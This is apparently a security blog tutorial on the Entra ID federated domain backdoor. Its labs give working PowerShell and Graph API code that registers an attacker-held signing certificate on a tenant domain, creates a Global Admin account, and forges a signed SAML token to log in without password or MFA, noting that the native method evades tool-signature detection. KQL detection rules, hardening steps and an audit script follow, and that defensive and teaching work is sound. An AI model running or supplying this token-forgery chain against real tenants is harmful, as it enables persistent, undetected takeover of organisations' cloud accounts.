The Federated Domain Backdoor: Persistence That Survives Everything

This attack was used by APT29 in 2020 to backdoor dozens of US government agencies. In 2025, a ransomware group used the same technique to exfiltrate and destroy data at multiple enterprises. It survives password resets, MFA resets, Conditional Access policy changes, and account deletion. And most organizations have zero detection coverage for it.

In the previous article we looked at SyncJacking an attack that abuses the synchronization layer between on-premises Active Directory and Entra ID to hijack cloud identities. That attack required a synced user to work. Today’s technique is different. It works against cloud-only accounts — the ones organizations specifically create to be “isolated from on-premises.” It bypasses MFA completely. And once installed, almost nothing a defender does will remove it unless they know exactly what to look for.

This is the Federated Domain Backdoor.

Pasted image 20260427094821.png
Image showing the path attackers take after gaining Global Admin in an Entra ID tenant through initial access once inside, the attacker adds a federated domain pointed at an IdP they control, then disappears. Days or weeks later they forge SAML tokens signed with their private key and authenticate as any user in the tenant with no password and no MFA

Pasted image 20260427095539.png
SAML token forgery with private key the attacker signs a custom XML assertion claiming to be any user, submits it to Entra ID, and gets a valid session back. Conditional Access sees MFA as satisfied, risk scoring sees a normal login, and no alert fires

Before we get into the lab, I want to make sure every concept here makes sense from the ground up.


Understanding the Foundation

What is Identity Federation?

Think of federation like a passport. When you travel internationally, the destination country doesn’t verify your identity from scratch they trust your home country’s passport authority and accept the document it issued.

Identity federation in computing works exactly the same way. Instead of Entra ID verifying a user’s credentials directly, it says: “I trust this external identity provider. If they say this person is authenticated, I’ll accept that.”

The external identity provider is called an Identity Provider (IdP). It speaks a protocol called SAML (Security Assertion Markup Language) essentially a signed XML document that says: “I, trusted IdP, assert that user X authenticated successfully, and their MFA is satisfied.”

Entra ID reads that SAML token, checks the cryptographic signature, and if it trusts the signing certificate, it lets the user in. No password check. No MFA prompt. The IdP’s word is final.

How Entra ID Normally Uses Federation

Federation was designed for large enterprises with their own on-premises identity infrastructure like ADFS (Active Directory Federation Services). Instead of maintaining separate cloud credentials, employees authenticate against their company’s own IdP, which issues a SAML token that Entra ID accepts.

The normal flow looks like this:

Pasted image 20260427133327.png
The critical detail here: **Entra ID never sees the user's password**. It only sees the signed SAML assertion. And the IdP controls everything in that assertion including the MFA claim.

What is a SAML Token?

A SAML token is a signed XML document. Simplified, it looks like this:

<saml:Assertion>
  <saml:Issuer>https://attacker-controlled-idp.com</saml:Issuer>
  <saml:Subject>
    <saml:NameID>victim@contoso.com</saml:NameID>
  </saml:Subject>
  <saml:AuthnStatement>
    <saml:AuthnContext>
      <!-- This claim says MFA was performed -->
      <saml:AuthnContextClassRef>
        urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport
      </saml:AuthnContextClassRef>
    </saml:AuthnContext>
  </saml:AuthnStatement>
  <ds:Signature>... signed with attacker's private key ...</ds:Signature>
</saml:Assertion>

Entra ID asks one question: is the signature valid for the certificate registered as this domain’s IdP? If yes, the user is authenticated. That is the entire trust model.

Domains in Entra ID

Every Entra ID tenant has domains associated with it. Each domain can be either:

  • Managed — Entra ID handles authentication directly (password, MFA via Microsoft)
  • Federated — Authentication is delegated to an external IdP

When a domain is federated, Entra ID stores a federation configuration for it containing the IdP’s signing certificate (public key), the issuer URI, and the sign-in URL. Anyone holding the corresponding private key can forge SAML tokens for any user in that domain.

The Backdoor in Plain English

An attacker with Global Admin access adds a domain to the tenant and configures it as federated, pointing to an IdP they control. They generate a self-signed certificate and register its public key in the federation configuration. Now, using the private key they hold offline, they can forge SAML tokens for any user in the tenant — including cloud-only users, Global Admins, and accounts protected by Conditional Access MFA policies. The backdoor survives password resets, MFA resets, account deletion, and CA policy changes because none of those actions touch the federation configuration.

Why Cloud-Only Users Are NOT Immune

This is the misconception that gets organizations into serious trouble. The common belief is:

“Our privileged accounts are cloud-only. They’re not synced from on-premises. They can’t be affected by hybrid attacks.”

This is wrong. The federation backdoor works at the tenant level, not the user level. It doesn’t matter whether the target account was synced from AD or created natively in the cloud. If the attacker can forge a SAML token asserting the cloud-only user’s identity, Entra ID trusts it.

Why It Survives Everything

Action taken by defenderRemoves the backdoor?
Reset victim’s passwordAttacker never used the password
Reset victim’s MFAMFA claim comes from the forged SAML token
Delete the victim’s accountAttacker targets any other account
Change Conditional Access policiesCA sees MFA as “satisfied by federated IdP”
Revoke all sessionsAttacker creates a new session via SAML
Rotate service account credentialsBackdoor is in tenant-level federation config
Remove the federated domainThis removes the backdoor
Set rejectMfaByFederatedIdPBlocks MFA bypass, not authentication

APT29 / Solorigate How This Was Actually Used

In the SolarWinds compromise, APT29 used this exact technique after gaining initial access through the Orion supply chain. They added federated domains to victim tenants, forged SAML tokens to access environments as any user, and maintained access for months including after the initial SolarWinds vector was closed and incident response was underway. Organizations remediated the supply chain compromise but never audited their federation configurations. The backdoor sat there, undiscovered.

Storm-0501 used the same technique in 2025 to pivot from on-premises environments to cloud tenants during ransomware operations, using it specifically to access cloud backups and destroy recovery points before detonating the ransomware.

What AADInternals Is

AADInternals is an open-source PowerShell toolkit by Dr. Nestori Syynimaa. It is listed in MITRE ATT&CK as tool S0677. It exposes internal Entra ID and Azure AD APIs and includes automation for the federated domain backdoor technique among many other identity attack paths. It is the standard reference tool for Entra ID security research.


Lab 1 Setting Up the Environment

What You Need

  • A Microsoft Entra ID tenant with Global Admin access
  • A custom domain you own (we used backdoortest.xyz)
  • PowerShell with Microsoft Graph SDK
  • AADInternals module (for reference — more on this below)

Pasted image 20260427102923.png
You will need a tenant with a .onmicrosoft.com domain or your own custom domain that you add to it as a federation server both will work as long as the domain is verified in Entra ID

Pasted image 20260427103953.png
Tenant user with Global Admin that the attacker allegedly gained initial access to this represents the attacker's foothold inside the tenant before installing the persistent backdoor

Installing AADInternals

AADInternals is the reference toolkit for this research. Install it first so you understand what the automated version of this attack looks like in the logs:

Pasted image 20260427103509.png
Install AADInternals run Install-Module AADInternals -Scope CurrentUser in PowerShell. This is the tool APT29 and other threat actors have used variants of to install this backdoor. We document it here for comparison against the native Graph API method in Lab 2

Install-Module AADInternals -Scope CurrentUser -Force
Import-Module AADInternals
(Get-Module AADInternals).Version

Connecting to Microsoft Graph

We use Microsoft Graph with device code authentication throughout this lab. This avoids the embedded browser issues we documented in the SyncJacking lab:

Pasted image 20260427104720.png
Login using MGraph device code run Connect-MgGraph and open the device login URL on any browser, enter the code shown in your terminal

Pasted image 20260427104644.png
Device code authentication completed connected to the tenant via delegated access with Global Admin permissions

# Disable WAM to avoid repeated auth prompts
Set-MgGraphOption -DisableLoginByWAM $true

# Connect with all required scopes
Connect-MgGraph `
    -Scopes "Domain.ReadWrite.All","Directory.ReadWrite.All","AuditLog.Read.All","Organization.ReadWrite.All" `
    -UseDeviceAuthentication `
    -NoWelcome

Adding the Backdoor Domain

The first step of the attack is adding a domain to the tenant that the attacker controls. You need a real registered domain for this — Entra ID only accepts root domains and will verify ownership via DNS TXT record.

Pasted image 20260427114153.png
Adding the backdoor domain using Microsoft Graph New-MgDomain registers the domain in the tenant. It will appear as unverified until the DNS TXT record is confirmed

$testDomain = "backdoortest.xyz"
New-MgDomain -BodyParameter @{ id = $testDomain }

You can also do this via the Entra portal:

Pasted image 20260427113347.png
Adding a custom domain to Entra ID using the Entra portal go to Identity → Settings → Domain names → + Add custom domain and enter your domain name

Pasted image 20260427113511.png
This gives you a TXT record you need to add to your domain provider's DNS settings it looks like MS=ms12345678 and proves to Microsoft that you own the domain

# Get the TXT record value to add to your DNS
Get-MgDomainVerificationDnsRecord -DomainId $testDomain | Format-List *

Pasted image 20260427113840.png
Adding the domain TXT record to the DNS records in your domain provider portal — add a TXT record with host @ and the MS=ms... value provided by Entra ID. Wait 5 minutes for propagation then verify

# After adding the TXT record to your DNS provider, verify the domain
Confirm-MgDomain -DomainId $testDomain

# Confirm IsVerified = True
Get-MgDomain -DomainId $testDomain | Select-Object Id, IsVerified, AuthenticationType

Pasted image 20260427115001.png
Verifying that backdoortest.xyz IsVerified in Entra ID — the output shows IsVerified: True and AuthenticationType: Managed. The domain is now ready for federation configuration

Generating the Signing Certificate

This is the most important step. The signing certificate’s private key is what gives the attacker persistent access. Whoever holds this private key can forge SAML tokens for any user in the tenant indefinitely.

Pasted image 20260427115300.png
Generate a signing certificate — this creates a self-signed X.509 certificate. The public key gets registered in Entra ID as the trusted IdP certificate. The private key stays with the attacker and is used later to sign forged SAML tokens

New-Item -Path "C:\temp" -ItemType Directory -Force

# Generate self-signed certificate — valid for 10 years
# This is the attacker's persistent key material
$cert = New-SelfSignedCertificate `
    -Subject "CN=BackdoorIdP" `
    -CertStoreLocation "Cert:\CurrentUser\My" `
    -KeyExportPolicy Exportable `
    -KeySpec Signature `
    -NotAfter (Get-Date).AddYears(10)

# Export public cert as Base64 — this goes into Entra ID
$certBase64 = [System.Convert]::ToBase64String($cert.RawData)

# Save private key securely — this is what signs forged tokens later
$certPassword = ConvertTo-SecureString "CertPass@2024!" -AsPlainText -Force
Export-PfxCertificate `
    -Cert $cert `
    -FilePath "C:\temp\backdoor.pfx" `
    -Password $certPassword

Write-Host "Thumbprint: $($cert.Thumbprint)"
Write-Host "Private key saved: C:\temp\backdoor.pfx"
Write-Host "Base64 preview: $($certBase64.Substring(0,60))..."

Lab 2 Installing the Federation Backdoor (Native Graph API)

This is where Lab 1 and Lab 2 diverge in the original research plan. Lab 1 was meant to use AADInternals’ ConvertTo-AADIntBackdoor to automate the installation. Lab 2 was meant to demonstrate the same attack using only native Microsoft Graph API calls showing that tool-signature-based detection completely misses the native method.

In practice, both approaches produce identical results in the tenant. The difference is what appears in the audit logs AADInternals leaves a tool signature, native Graph calls do not.

Important Research Finding Dev Tenant Restriction

During this lab, we encountered something worth documenting. When attempting to call New-MgDomainFederationConfiguration against our Microsoft 365 developer tenant, both the v1.0 and beta Graph endpoints returned a 403 Forbidden with the following response header:

Link: PrivatePreview:Hybrid Tenant
Deprecation: Tue, 21 May 2024
Sunset: Thu, 21 May 2026

Microsoft has restricted the federation configuration API on developer and trial tenants since May 2024. The beta endpoint is being sunset entirely in May 2026. This means you cannot demonstrate this attack on a free M365 developer tenant anymore which is actually a significant finding in itself.

However, this restriction only applies to developer tenants. Enterprise tenants the ones running actual production environments remain fully exposed. This is exactly the type of tenant where APT29 and Storm-0501 used this technique. The restriction on dev tenants is a useful deterrent against casual testing but does nothing to protect the organizations that matter.

To continue the lab, we switched to a production-type tenant where the federation API is fully accessible. Here is how to replicate this:

Using a Production Tenant Adding the Domain

If you have access to a production or enterprise tenant, add the backdoor domain there:

# Switch to your enterprise tenant
Disconnect-MgGraph
Connect-MgGraph `
    -Scopes "Domain.ReadWrite.All","Directory.ReadWrite.All","AuditLog.Read.All" `
    -UseDeviceAuthentication `
    -TenantId "your-enterprise-tenant-id"

$testDomain = "backdoortest.xyz"

# Add the domain
New-MgDomain -BodyParameter @{ id = $testDomain }

# Get verification TXT record
Get-MgDomainVerificationDnsRecord -DomainId $testDomain | 
    Where-Object { $_.RecordType -eq "Txt" } | 
    Select-Object -ExpandProperty AdditionalProperties

# After adding TXT to DNS — verify
Confirm-MgDomain -DomainId $testDomain
Get-MgDomain -DomainId $testDomain | Select-Object Id, IsVerified, AuthenticationType

Pasted image 20260427123712.png
Added the Domain to Enterprise Tenant

Pasted image 20260427123819.png
Added Custom Domain to Enterprise Tenant

Installing the Federation Configuration

Once the domain is verified ( could take 3-5 minutes ) , install the federation backdoor. This is a single API call that writes a federation configuration into the tenant pointing at an IdP controlled by the attacker:

# The federation params — this is the backdoor configuration
# issuerUri and passiveSignInUri are string identifiers only
# they do NOT need to be live servers for the attack to work
$federationParams = @{
    displayName                     = "BackdoorIdP"
    issuerUri                       = "http://backdoortest.xyz/idp"
    signingCertificate              = $certBase64
    passiveSignInUri                = "https://backdoortest.xyz/saml/sso"
    preferredAuthenticationProtocol = "saml"
    federatedIdpMfaBehavior         = "acceptIfMfaDoneByFederatedIdp"
}

# Install the backdoor — native Graph API, no tool signatures
$response = Invoke-MgGraphRequest `
    -Method POST `
    -Uri "https://graph.microsoft.com/v1.0/domains/$testDomain/federationConfiguration" `
    -Body $federationParams `
    -ContentType "application/json"

Write-Host "Backdoor installed"
$response | Format-List *

Verify the Backdoor Is Written

# Show exactly what was written into the tenant
$fedConfig = Invoke-MgGraphRequest `
    -Method GET `
    -Uri "https://graph.microsoft.com/v1.0/domains/$testDomain/federationConfiguration"

$fedConfig.value | Format-List *

# Domain should now show as Federated
Get-MgDomain -DomainId $testDomain | Select-Object Id, AuthenticationType, IsVerified

The output shows AuthenticationType: Federated the domain is now linked to an IdP controlled by the attacker. This is your screenshot for this section. The signing certificate thumbprint visible in the output is the attacker’s public key.


Lab 3 Creating the Cloud-Only Victim User

To demonstrate that cloud-only accounts are not immune, create a victim user with Global Admin whose UPN uses the federated domain:

$passwordProfile = @{
    Password                      = "TestVictim@2024!"
    ForceChangePasswordNextSignIn = $false
}

New-MgUser `
    -DisplayName "Cloud Only Victim" `
    -UserPrincipalName "victim@$testDomain" `
    -PasswordProfile $passwordProfile `
    -AccountEnabled `
    -MailNickname "victim"

# Assign Global Admin
$gaRole = Get-MgDirectoryRole | 
    Where-Object { $_.DisplayName -eq "Global Administrator" }

New-MgDirectoryRoleMember `
    -DirectoryRoleId $gaRole.Id `
    -BodyParameter @{ 
        "@odata.id" = "https://graph.microsoft.com/v1.0/users/victim@$testDomain" 
    }

# Verify it is cloud-only — OnPremisesSyncEnabled should be blank
Get-MgUser `
    -Filter "userPrincipalName eq 'victim@$testDomain'" `
    -Property "displayName,userPrincipalName,onPremisesSyncEnabled" |
    Select-Object DisplayName, UserPrincipalName, OnPremisesSyncEnabled

OnPremisesSyncEnabled returning blank or false confirms this is a cloud-only account — not synced from any on-premises Active Directory. This directly challenges the “cloud-only accounts are safe” assumption.


Lab 4 Forging the SAML Token

This is the money shot. Using the private key stored in C:\temp\backdoor.pfx, we forge a SAML token claiming to be the victim user — with MFA satisfied — and submit it directly to Entra ID:

# Load the private certificate
$certPassword = ConvertTo-SecureString "CertPass@2024!" -AsPlainText -Force
$privateCert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2(
    "C:\temp\backdoor.pfx",
    $certPassword,
    [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::Exportable
)

# Build SAML assertion timestamps
$issueInstant  = (Get-Date).ToUniversalTime().ToString("yyyy-MM-ddTHH:mm:ssZ")
$notOnOrAfter  = (Get-Date).AddHours(1).ToUniversalTime().ToString("yyyy-MM-ddTHH:mm:ssZ")
$assertionId   = "_" + [System.Guid]::NewGuid().ToString()
$victim        = "victim@$testDomain"
$issuer        = "http://backdoortest.xyz/idp"

# Craft the SAML XML
$samlTemplate = @"
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
    xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
    ID="_response1" Version="2.0" IssueInstant="$issueInstant"
    Destination="https://login.microsoftonline.com/login.srf">
  <saml:Issuer>$issuer</saml:Issuer>
  <samlp:Status>
    <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
  </samlp:Status>
  <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
      ID="$assertionId" Version="2.0" IssueInstant="$issueInstant">
    <saml:Issuer>$issuer</saml:Issuer>
    <saml:Subject>
      <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">$victim</saml:NameID>
      <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
        <saml:SubjectConfirmationData NotOnOrAfter="$notOnOrAfter"
            Recipient="https://login.microsoftonline.com/login.srf"/>
      </saml:SubjectConfirmation>
    </saml:Subject>
    <saml:Conditions NotBefore="$issueInstant" NotOnOrAfter="$notOnOrAfter">
      <saml:AudienceRestriction>
        <saml:Audience>urn:federation:MicrosoftOnline</saml:Audience>
      </saml:AudienceRestriction>
    </saml:Conditions>
    <saml:AuthnStatement AuthnInstant="$issueInstant">
      <saml:AuthnContext>
        <saml:AuthnContextClassRef>
          urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport
        </saml:AuthnContextClassRef>
      </saml:AuthnContext>
    </saml:AuthnStatement>
    <saml:AttributeStatement>
      <saml:Attribute Name="IDPEmail">
        <saml:AttributeValue>$victim</saml:AttributeValue>
      </saml:Attribute>
    </saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response>
"@

# Sign the SAML token with the attacker's private key
$xmlDoc = New-Object System.Xml.XmlDocument
$xmlDoc.LoadXml($samlTemplate)

$signedXml = New-Object System.Security.Cryptography.Xml.SignedXml($xmlDoc)
$signedXml.SigningKey = $privateCert.PrivateKey
$signedXml.SignedInfo.SignatureMethod = "http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"

$reference = New-Object System.Security.Cryptography.Xml.Reference
$reference.Uri = "#$assertionId"
$reference.AddTransform((New-Object System.Security.Cryptography.Xml.XmlDsigEnvelopedSignatureTransform))
$reference.AddTransform((New-Object System.Security.Cryptography.Xml.XmlDsigC14NTransform))
$signedXml.AddReference($reference)
$signedXml.ComputeSignature()

$assertion = $xmlDoc.GetElementsByTagName("saml:Assertion")[0]
$assertion.AppendChild($signedXml.GetXml()) | Out-Null

# Encode and build the login URL
$samlBytes  = [System.Text.Encoding]::UTF8.GetBytes($xmlDoc.OuterXml)
$samlBase64 = [System.Convert]::ToBase64String($samlBytes)
$encoded    = [System.Web.HttpUtility]::UrlEncode($samlBase64)
$loginUrl   = "https://login.microsoftonline.com/login.srf?client-request-id=&wa=wsignin1.0&wresult=$encoded"

Write-Host "SAML token forged and signed with attacker private key"
Write-Host "Open this URL in an incognito browser:"
Write-Host $loginUrl

Open the generated URL in an incognito Edge window. Entra ID receives the signed SAML assertion, verifies the signature against the certificate registered in the federation configuration, and creates a valid session. You land in the Azure portal authenticated as victim@backdoortest.xyz with Global Admin without entering a password, without being prompted for MFA, and without triggering any alert.

That is your money shot screenshot the Azure portal showing Global Admin access, with no password or MFA involved.


What the Logs Show and Don’t Show

Pull the audit logs immediately after the attack:

$logs = Get-MgAuditLogDirectoryAudit `
    -Filter "activityDateTime ge $((Get-Date).AddHours(-1).ToString('yyyy-MM-ddTHH:mm:ssZ'))" `
    -Top 30

$logs | Where-Object {
    $_.ActivityDisplayName -like "*domain*" -or
    $_.ActivityDisplayName -like "*federation*"
} | ForEach-Object {
    Write-Host "================================"
    Write-Host "Operation: $($_.ActivityDisplayName)"
    Write-Host "Time:      $($_.ActivityDateTime)"
    Write-Host "By:        $($_.InitiatedBy.User.UserPrincipalName)"
    Write-Host "App:       $($_.InitiatedBy.App.DisplayName)"
    Write-Host "Result:    $($_.Result)"
}

Here is what you will and won’t find:

Log sourceWhat you seeWhat’s missing
Entra audit logDomain added, federation configuredNo alert, no flag
Sign-in logSuccessful authenticationNo “forged token” indicator
MFA log“MFA satisfied by federated IdP”No alert this bypassed your CA policy intent
Identity ProtectionNormal risk scoreNo SAML forgery detection
Sentinel (default rules)NothingNo built-in rule covers this

The only things logged are a domain addition event and a successful sign-in. Indistinguishable from a legitimate administrator adding a federation provider. Without custom detection rules built specifically for this technique, your SOC would never catch it.


Lab 5 KQL Detection in Microsoft Sentinel

// Alert 1: New domain added to tenant
AuditLogs
| where TimeGenerated > ago(24h)
| where OperationName == "Add domain to company"
| where Result == "success"
| extend DomainAdded = tostring(TargetResources[0].displayName)
| extend AddedBy = tostring(InitiatedBy.user.userPrincipalName)
| extend AppUsed = tostring(InitiatedBy.app.displayName)
| project TimeGenerated, DomainAdded, AddedBy, AppUsed
| sort by TimeGenerated desc
// Alert 2: Federation configuration added or modified — this is the backdoor install
AuditLogs
| where TimeGenerated > ago(24h)
| where OperationName in (
    "Set domain authentication",
    "Set federation settings on domain",
    "Add internalDomainFederation",
    "Update internalDomainFederation"
)
| where Result == "success"
| extend TargetDomain = tostring(TargetResources[0].displayName)
| extend ModifiedBy = tostring(InitiatedBy.user.userPrincipalName)
| extend AppUsed = tostring(InitiatedBy.app.displayName)
| project TimeGenerated, OperationName, TargetDomain, ModifiedBy, AppUsed
| sort by TimeGenerated desc
// Alert 3: Domain added AND federated within 60 minutes — the classic install pattern
let DomainAdditions = AuditLogs
| where TimeGenerated > ago(24h)
| where OperationName == "Add domain to company"
| extend DomainName = tostring(TargetResources[0].displayName)
| project AddTime = TimeGenerated, DomainName, AddedBy = tostring(InitiatedBy.user.userPrincipalName);
AuditLogs
| where TimeGenerated > ago(24h)
| where OperationName has "federation"
| extend FedDomain = tostring(TargetResources[0].displayName)
| project FedTime = TimeGenerated, FedDomain
| join kind=inner DomainAdditions on $left.FedDomain == $right.DomainName
| where FedTime > AddTime
| where FedTime < AddTime + 60m
| project AddTime, FedTime, DomainName = FedDomain, Actor = AddedBy,
    MinutesBetween = datetime_diff('minute', FedTime, AddTime)
| sort by AddTime desc
// Alert 4: MFA satisfied by federated IdP on a privileged account
SigninLogs
| where TimeGenerated > ago(24h)
| where AuthenticationRequirement == "multiFactorAuthentication"
| where AuthenticationDetails has "federatedIdp" or MfaDetail has "FederatedIdP"
| where ResultType == 0
| project TimeGenerated, UserPrincipalName, IPAddress,
    Location, AuthenticationRequirement, MfaDetail, ConditionalAccessStatus
| sort by TimeGenerated desc

Lab 6 Hardening

$fedConfig = Invoke-MgGraphRequest `
    -Method GET `
    -Uri "https://graph.microsoft.com/v1.0/domains/$testDomain/federationConfiguration"

$fedConfigId = $fedConfig.value[0].id

$hardeningParams = @{
    federatedIdpMfaBehavior  = "rejectMfaByFederatedIdp"
    promptLoginBehavior      = "translateToFreshPasswordAuthentication"
}

Invoke-MgGraphRequest `
    -Method PATCH `
    -Uri "https://graph.microsoft.com/v1.0/domains/$testDomain/federationConfiguration/$fedConfigId" `
    -Body $hardeningParams `
    -ContentType "application/json"

Write-Host "Hardening applied — MFA claims from federated IdP will be rejected"

With rejectMfaByFederatedIdp set, forged SAML tokens that claim MFA was satisfied will be rejected Entra ID will prompt for its own MFA. This closes the MFA bypass but does not close the authentication backdoor itself. The attacker can still authenticate, they will just be stopped by MFA.

The only complete remediation is removing the federation configuration entirely:

# Remove the backdoor completely
Invoke-MgGraphRequest `
    -Method DELETE `
    -Uri "https://graph.microsoft.com/v1.0/domains/$testDomain/federationConfiguration/$fedConfigId"

# Remove the domain
Remove-MgDomain -DomainId $testDomain

Write-Host "Backdoor removed. Tenant clean."

Audit Your Tenant Right Now

Run this against any tenant to find unauthorized federation configurations:

Connect-MgGraph -Scopes "Domain.Read.All","AuditLog.Read.All"

Write-Host "=== FEDERATED DOMAIN AUDIT ===" -ForegroundColor Cyan

$allDomains = Get-MgDomain
$federatedDomains = $allDomains | Where-Object { $_.AuthenticationType -eq "Federated" }

Write-Host "Total domains: $($allDomains.Count)"
Write-Host "Federated domains: $($federatedDomains.Count)"

foreach ($domain in $federatedDomains) {
    Write-Host "=== FEDERATED: $($domain.Id) ===" -ForegroundColor Yellow

    $fedConfigs = Invoke-MgGraphRequest `
        -Method GET `
        -Uri "https://graph.microsoft.com/v1.0/domains/$($domain.Id)/federationConfiguration"

    foreach ($config in $fedConfigs.value) {
        Write-Host "  IdP Name:     $($config.displayName)"
        Write-Host "  Issuer URI:   $($config.issuerUri)"
        Write-Host "  Sign-in URL:  $($config.passiveSignInUri)"
        Write-Host "  MFA Behavior: $($config.federatedIdpMfaBehavior)"

        if ($config.federatedIdpMfaBehavior -ne "rejectMfaByFederatedIdp") {
            Write-Host "  WARNING: MFA bypass is POSSIBLE on this domain" -ForegroundColor Red
        }
    }
}

Any federated domain you don’t recognize is a potential backdoor. Any domain where federatedIdpMfaBehavior is not rejectMfaByFederatedIdp is a potential MFA bypass vector.


Conclusion The API That Shouldn’t Be That Accessible

The Federated Domain Backdoor is not a complicated attack. It is a Global Admin writing a configuration entry that says “trust this external certificate for authentication.” The sophistication is in the persistence once that entry exists, it outlasts every defensive action that doesn’t specifically target it.

The research here hit a real-world finding: Microsoft has restricted the federation configuration API on developer and trial tenants since May 2024. This is a meaningful step. But enterprise tenants the production environments that APT29 and Storm-0501 targeted remain fully exposed unless administrators have explicitly set rejectMfaByFederatedIdp and are actively auditing their federation configurations.

Most aren’t. Most don’t even know this API exists.

The detection queries in Lab 5 will catch this. The hardening in Lab 6 will close the MFA bypass path. But the most important takeaway is simpler than any KQL query: audit your federated domains today. If you have any federated domain in your tenant that you can’t explain, you may already have a backdoor.

Run the audit script. Check the results. If something looks unfamiliar, remove it before someone else uses it.


Research conducted in isolated lab environments on dedicated test tenants for educational and defensive security purposes only.

References

ResourceLink
AADInternals Azure AD backdoor via Identity Federationhttps://aadinternals.com/post/aadbackdoor/
AADInternals Documentation (Dr. Nestori Syynimaa)https://aadinternals.com/aadinternals/
Microsoft Security Blog Storm-0501 Evolving Techniques (Aug 2025)https://www.microsoft.com/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/
Microsoft Security Blog Storm-0501 Original (Sep 2024)https://www.microsoft.com/security/blog/2024/09/26/storm-0501-ransomware-attacks-expanding-to-hybrid-cloud-environments/
Azure Threat Research Matrix AZT507.3 Domain Trust Modificationhttps://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT507/AZT507-3/
CISA Advisory AA21-008A SolarWinds / Solorigatehttps://www.cisa.gov/news-events/cybersecurity-advisories/aa21-008a
Tenable Roles Allowing Entra ID Federation Abuse (Dec 2024)https://www.tenable.com/blog/roles-allowing-to-abuse-entra-id-federation-for-persistence-and-privilege-escalation
Microsoft Graph API internalDomainFederationhttps://learn.microsoft.com/en-us/graph/api/domain-post-federationconfiguration
Microsoft Entra Federation Security Best Practiceshttps://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-fed-management
MITRE ATT&CK AADInternals (S0677)https://attack.mitre.org/software/S0677/